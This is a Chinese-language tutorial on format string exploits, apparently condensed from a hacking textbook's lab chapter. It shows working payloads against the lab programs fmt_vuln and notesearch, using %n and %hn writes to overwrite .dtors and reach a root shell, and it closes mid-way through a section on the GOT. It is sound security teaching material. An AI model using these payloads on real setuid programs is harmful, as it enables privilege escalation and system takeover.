格式字串攻擊(format string exploit)是另一種奪取特權程式控制權的技術。如同緩衝區溢位,它也依賴看似對安全無明顯影響的程式錯誤。

對程式設計師而言幸運的是,這個技術一旦為人所知,格式字串弱點就相當容易察覺並消除。雖然它如今已不常見,但以下技術也能用於其他情境。

回顧格式參數#

使用格式字串的函式(如 printf())會逐字元評估傳入的格式字串,每遇到一個格式參數就採取特殊動作。每個格式參數都預期額外傳入一個變數。

參數輸入型別輸出型別
%d十進位
%u無號十進位
%x十六進位
%s指標字串
%n指標目前已寫出的位元組數

堆疊與「缺引數」的關鍵細節#

呼叫 printf() 時,如同任何函式,引數以相反順序被推入堆疊。格式函式逐字元走訪格式字串,遇到格式參數就取用堆疊上對應的引數。

那麼——如果格式字串用了三個格式參數,卻只推入兩個引數呢?

格式函式並不知道引數不夠,它仍會依框架指標往下取值。缺少的第三個引數位置,會被讀成前一個堆疊框架中的一塊記憶體。

圖 0x300-3:呼叫 printf() 時,引數以相反順序被推入堆疊

這個細節本身無害,但若有辦法控制「傳給格式函式的引數數量」或「它預期的數量」,就會非常有用——而一個相當常見的程式錯誤,恰好讓後者成為可能。

格式字串弱點#

有時程式設計師用 printf(string) 而非 printf("%s", string) 來印字串。功能上沒問題,但一旦 string 由使用者控制、又含有格式參數,格式函式就會試圖評估它、依框架指標取用不存在的引數:

reader@hacking:~/booksrc $ ./fmt_vuln testing %x
The wrong way to print user-controlled input:
testingbffff3e0

%x 印出了堆疊上一個 4 位元組字的十六進位。反覆使用即可逐步檢視堆疊記憶體:

reader@hacking:~/booksrc $ ./fmt_vuln $(perl -e 'print "%08x."x40')
...
bffff320.b7fe75fc.00000000.78383025.3830252e.30252e78...

那些重複的位元組 0x25 0x30 0x38 0x78 0x2e 正是 %08x. 這串格式字串本身的記憶體。因為格式函式永遠在最高的堆疊框架上,只要格式字串存在堆疊某處,它就位於當前框架指標之下(較高位址)。這個事實可用來控制格式函式的引數——尤其搭配以參照傳遞的 %s%n 時。

從任意記憶體位址讀取#

%s 可用來從任意位址讀取。既然能讀到原始格式字串的資料,就能用格式字串的一部分供給 %s 一個位址:

reader@hacking:~/booksrc $ ./fmt_vuln AAAA%08x.%08x.%08x.%08x
...
AAAAbffff3d0.b7fe75fc.00000000.41414141

四個 0x41 顯示第四個格式參數正從格式字串開頭讀取資料。若把第四個換成 %s,格式函式就會嘗試印出 0x41414141 所在的字串(無效位址,導致崩潰);但若放一個有效位址(如用 getenvaddr 取得的 PATH 環境變數位址),就能讀出該位址的字串。

寫入任意記憶體位址#

%s 能讀任意位址,同樣的技巧配 %n 就能任意位址——這下有趣了。

fmt_vuln.c 的除錯敘述一直在印 test_val(位於 0x08049794)的位址與值,簡直是求人覆寫:

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
...
[*] test_val @ 0x08049794 = 31 0x0000001f

寫入的值取決於 %n 之前已寫出的位元組數——這可透過**欄寬(field width)**選項大幅控制(如 %100x 讓已寫位元組數變成 120)。

四次寫入拼出完整位址#

欄寬對小數字有效,但無法用於記憶體位址這種大數。訣竅是逐位元組控制最低位位元組,在連續的四個位址上做四次寫入:

Memory                 94 95 96 97
First write  → 0x94    AA 00 00 00
Second write → 0x95       BB 00 00 00
Third write  → 0x96          CC 00 00 00
Fourth write → 0x97             DD 00 00 00
Result                 AA BB CC DD

以寫入 0xDDCCBBAA 為例,格式字串開頭需放:目標位址、4 位元組垃圾(如 JUNK)、目標位址+1……以此類推,共四組。每次用欄寬把位元組計數推到 0xAA0xBB0xCC0xDD

圖 0x300-4:四次寫入所需的格式字串開頭布局——四個連續目標位址與垃圾資料交錯

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
...
[*] test_val @ 0x08049794 = -573785174 0xddccbbaa

這個技巧也會覆寫目標位址之後的三個位元組。此外,位元組計數只能遞增、無法遞減——若下一個位元組值較小(如寫 0x0806abcd0xab < 0xcd),需用**回繞(wraparound)**技巧:加到超過 0x100 讓最低位位元組回繞(如 0xab0x1ab 達成)。

欄寬只是「最小」寬度:一個容易踩到的陷阱

寫最後一個位元組時,0x060x08 只差 2,但因為 %x 讀出的 DWORD 輸出了 8 個位元組,結果 %n 寫進的是 0x0e 而非 0x08。這是因為 %x 的欄寬選項只是最小欄寬。解法同樣是回繞一圈(用 0x108 - 0x06 = 258)。知道欄寬的這個限制很重要。

三種簡化技巧#

直接參數存取#

**直接參數存取(direct parameter access)**用美元符號限定詞直接存取第 n 個參數。例如 %7$d 存取第 7 個參數並以十進位顯示:

printf("7th: %7$d, 4th: %4$05d \n", 10, 20, 30, 40, 50, 60, 70, 80);
// 輸出:7th: 70, 4th: 00040

這免去了逐步走訪記憶體直到格式字串開頭的麻煩,也不再需要 4 位元組的垃圾間隔。在命令列上美元符號需以反斜線跳脫(%4\$n)。寫入 0xbffffd72 只需四個 %x 間隔配四個直接存取的 %n

短寫入#

%hn 用長度修飾詞 h 寫入 2 位元組的 short

用短寫入,只需兩個 %hn 就能覆寫整個 4 位元組值。而且由於分兩個 short 寫入,寫入順序無關緊要——只要把兩個傳入的位址對調,就能先寫較大的、再寫較小的,避開回繞的麻煩。

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x97\x04\x08\x94\x97\x04\x08")%49143x%4\$hn%15731x%5\$hn
...
[*] test_val @ 0x08049794 = -1073742478 0xbffffd72

覆寫目標的選擇#

能覆寫任意位址,就等於能控制程式的執行流程。堆疊型溢位只能覆寫返回位址,格式字串卻能覆寫任何位址,開啟了更多可能——選擇記憶體位址更可預測的目標。

用 .dtors 繞道#

用 GNU C 編譯的二進位檔有特殊的 .dtors(解構子)與 .ctors(建構子)表區段。解構子函式在 main() 以 exit 系統呼叫結束前執行

nmobjdump 檢視可知,__DTOR_LIST__0x08049690,內含 0xffffffff)與 __DTOR_END__0x08049694,內含 0x00000000)之間本應是解構子位址。若把 0x08049694 覆寫成 shellcode 位址,程式結束時執行流程就會被導向該處:

reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./fmt_vuln
SHELLCODE will be at 0xbffff9ec
reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x96\x96\x04\x08\x94\x96\x04\x08")%49143x%4\$hn%14829x%5\$hn
...
sh-3.2# whoami
root
notesearch 的另一個弱點:透過檔案觸發格式字串

notesearch 程式的 print_notes()printf(note_buffer) 印筆記、未提供自己的格式字串。雖然這個緩衝區無法直接從命令列控制,仍可notetaker 把正好對的資料寫進檔案、再用 notesearch 開啟它來利用:

reader@hacking:~/booksrc $ ./notetaker BBBB%8\$x
reader@hacking:~/booksrc $ ./notesearch BBBB
...
BBBB42424242

探測得知第 8 個函式參數在緩衝區開頭後,覆寫 .dtors 即可得到 root shell:

reader@hacking:~/booksrc $ ./notetaker $(printf "\x62\x9c\x04\x08\x60\x9c\x04\x08")%49143x%8\$hn%14825x%9\$hn
reader@hacking:~/booksrc $ ./notesearch 49143x
...
sh-3.2# whoami
root

覆寫全域偏移表(GOT)#

程式對共享庫函式的呼叫會經過程序連結表(PLT,procedure linkage table)——一連串跳躍指令。但這些指令跳的不是位址,而是指向位址的指標,而這些指標存在可寫入的**全域偏移表(GOT,global offset table)**中:

reader@hacking:~/booksrc $ objdump -R ./fmt_vuln
...
08049780 R_386_JUMP_SLOT   printf
08049784 R_386_JUMP_SLOT   exit

覆寫 GOT 還有一個優勢:

能覆寫任意位址,就開啟了大量的利用可能——基本上,任何可寫入、且含有能導引程式執行流程之位址的記憶體區段,都可以是目標